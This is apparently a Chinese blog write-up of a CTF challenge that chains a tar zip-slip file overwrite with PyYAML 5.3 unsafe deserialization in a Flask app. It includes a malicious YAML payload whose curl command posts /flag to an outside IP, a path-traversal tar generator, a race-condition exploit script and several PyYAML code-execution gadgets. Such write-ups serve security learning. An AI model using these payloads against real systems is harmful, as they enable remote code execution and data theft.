持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第7天,点击查看活动详情
1NDEX
0x00 前言
出去旅游了… 没打到比赛有点亏
来复现一下
0x01 brain.md
from flask import Flask, render_template, request, redirect, session
from hashlib import md5
import yaml
import zipfile
import tarfile
import os
import re
app = Flask(__name__)
app.config["SECRET_KEY"] = "kidult"
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
if type == 'zip':
zf = zipfile.ZipFile(filepath, 'r')
zf.extractall(extractdir)
return zf.namelist()
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
return redirect('/login')
else:
fn = 'uploads/' + md5(session.get('user').encode()).hexdigest()
session['fn'] = fn
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
upFile = request.files['file']
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
savePath = f"{session['fn']}/{upFile.filename}"
upFile.save(savePath)
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
elif zipfile.is_zipfile(savePath):
tarDatas = extractFile(savePath, 'zip')
return render_template('result.html', path=savePath, files=tarDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
@app.route('/login', methods=['GET', 'POST'])
def login(): # 登陆时会写入userConfig.yaml
with open('config/userConfig.yaml', 'w') as f:
data = {'user': 'Admin', 'host': '127.0.0.1', 'info': 'System super administrator and super user.'}
f.write(yaml.dump(data))
if request.method == 'GET':
return render_template('login.html')
if request.method == 'POST':
username = request.form.get('username')
if username and username == "Admin":
with open('config/userConfig.yaml', 'rb') as f:
userConfig = yaml.load(f.read())
if userConfig['host'] == request.remote_addr:
session['user'] = userConfig['user']
return render_template('admin.html', username=userConfig['user'], message=userConfig['info'])
else:
return "<script>alert('Can only login locally');history.back(-1);</script>"
elif username:
session['user'] = username
return redirect('/')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
zip-slip-vulnerability
zip slip漏洞影响库
pyYaml库版本
PyYAML==5.3
PyYAML反序列化漏洞
师傅文章扫扫盲
tarfile进行zip slip文件覆盖userConfig.yaml
然后pyyaml反序列化漏洞
太穷了 只有一台学生机
userConfig.yaml
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ __import__('os').system('curl -X POST -F xx=@/flag http://1.15.67.48:7777') ]
gene_evil_tar.py
import os
depth=3 #我还特意本地了一下(haodiulian).. 正常解压config会在当前的test目录下
if os.path.exists("test.tar"):
os.remove("test.tar")
os.system(rf"py -2 .\evilarc.py .\userConfig.yaml -o unix -d {depth} -f test.tar -p config/")
poc.py
import requests
import threading
# request_url = 'http://bf84c73a-07f7-45ca-9950-70d92e60845b.challenge.ctf.show/'
def up_yaml():
request_url="http://1.15.67.48:8000/upload"
request_file = {'file':open('test.tar','rb')}
cookies={
"session":"eyJmbiI6InVwbG9hZHMvMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJ1c2VyIjoidGVzdCJ9.YqbyRg.SfA2-yyBC4ycRANWQXrWaw8sf6A"
}
r1=requests.post(url=request_url, files=request_file,cookies=cookies) # url,files
#print(r1.text)
def login():
request_url2="http://1.15.67.48:8000/login"
data={
"username":"Admin",
"password":"test"
}
r2=requests.post(url=request_url2, data=data)
while True:
thread1 = threading.Thread(target=login)
thread2 = threading.Thread(target=up_yaml)
thread1.start()
thread2.start()
果然还是得while True竞争
浅入一些关于pyYaml反序列化的基础
以下引用自 xz.aliyun.com/t/7923#toc-…
看些关键地方
将yaml转化为python实例对象
yaml输出
第一行是没加表示器之前,中间那行是加了表示器之后,变成了规范的格式,下面添加了构造器,能够把 !person 标签转化为Person对象~
yaml是一种很清晰、简洁的格式,跟Python非常合拍,非常容易操作,我们在搭建自动化测试框架的时候,可以采用yaml作为配置文件,或者用例文件,下面给出一个用例的示例:
load(): #yaml转化为一个python对象
dump(): #python对象转yaml文档
漏洞成因
那么 我们是可以通过load将yaml转化成python类对象,然后通过引入module进行rce
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- whoami"""
deserialized_data = load(data, Loader=Loader) # deserializing data
print(deserialized_data)
from yaml import *
data = b"""!!python/object/apply:subprocess.Popen
- calc"""
deserialized_data = unsafe_load(data) # deserializing data
print(deserialized_data)
白嫖
poc1
import yaml
payload = """
- !!python/object/new:str
args: []
state: !!python/tuple
- "print('漏洞存在')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
"""
yaml.load(payload)
回显:
->漏洞存在
poc2
import yaml
payload = """
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "print('漏洞存在')"
"""
yaml.load(payload)
回显:
->漏洞存在
poc3
import yaml
payload = """
!!python/object/new:tuple
- !!python/object/new:map
- !!python/name:eval
- [ print('漏洞存在') ]
"""
yaml.load(payload)
回显:
->漏洞存在